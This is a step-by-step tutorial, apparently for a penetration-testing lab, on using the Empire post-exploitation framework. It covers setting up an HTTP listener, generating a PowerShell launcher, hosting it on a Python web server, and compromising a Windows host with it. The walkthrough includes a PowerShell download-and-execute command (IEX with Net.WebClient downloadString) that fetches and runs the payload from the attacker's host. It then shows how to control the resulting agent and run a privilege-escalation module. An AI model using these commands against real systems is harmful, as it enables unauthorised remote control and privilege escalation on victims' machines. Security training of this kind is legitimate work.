Empire is a post-exploitation framework that includes a pure-PowerShell2.0 Windows agent, and a pure Python 2.6/2.7 Linux/OS X agent. It is the merge of the previous PowerShell Empire and Python EmPyre projects. The framework offers cryptologically-secure communications and a flexible architecture. On the PowerShell side, Empire implements the ability to run PowerShell agents without needing powershell.exe, rapidly deployable post-exploitation modules ranging from key loggers to Mimikatz, and adaptable communications to evade network detection, all wrapped up in a usability-focused framework.
https://github.com/EmpireProject/Empire
Download
1. git clone https://github.com/EmpireProject/Empire.git -b dev
2. Install it
- cd Empire/setup
- sudo ./install
- Enter at the prompt of the negotiation
3. Go back the main directory and run empire
- cd ..
- sudo ./empire
Usage
1. Type help to see the available options
- help
2. Start a listener
- listeners
- help
Listeners module shows other options, to show them we use help.
- agents – Will allow you to jump to agents menu.
- back & main – Will take you back to the main menu.
- exit – Will exit from Empire.
- help – Will display help menu as shown in the above image.
- info – Will display information about the active listener.
- kill – Will kill a particular listener.
- launcher – Used to generate an initial launcher for a listener.
- list – Will list all the active listeners.
- usestager – Used to use a stager (we will see below what exactly is a stager).
- uselistener – Used to start a listener module.
3. Use uselistener to select the type of listener
- uselistener <tab> <tab>
We have several types of listeners.
4. Using meterpreter
- uselistener http
- help
- info
5. Set the parameters (Empire is case sentive).
-
- set Port 443
- set Host http://10.10.14.16:443
- info
The listener started. Go back to the main module by using the command main. It shows there is one current listener.
6. Use listeners to see the active ones
- listeners
7. Generate the payload
- launcher powershell http
8. Save the contents in a file.
- vi empire.ps1
- cat empire.ps1
9. Start a Python web server
- python -m SimpleHTTPServer 9999
10. From the exploited machine run powershell command to connect to the Kali/Parrot web server and execute the empire.ps1 file.
- powershell “IEX(New-Object Net.WebClient).downloadString(‘http://10.10.14.16:9999/empire.ps1’)”
11. In the python webserver the connection should show now.
So in empire
12. Display the active agents and the corresponding listener. In this case we have created a second listener http1
- agents
Delay means communicate with Windows host ever 5 second lets change that to every second
- sleep all 1
- agents
Running commands
1. To run commands on an agent first select it
- interact MW4YR6ZF
2. Select a module to execute
- help
- usemodule <TAB><TAB>
3. Select a module to run.
- usemodule privesc/powerup/allchecks
4. Run the exploit
5. Go back and check the jobs
- back
- jobs
6. After waiting some minutes, the results are printed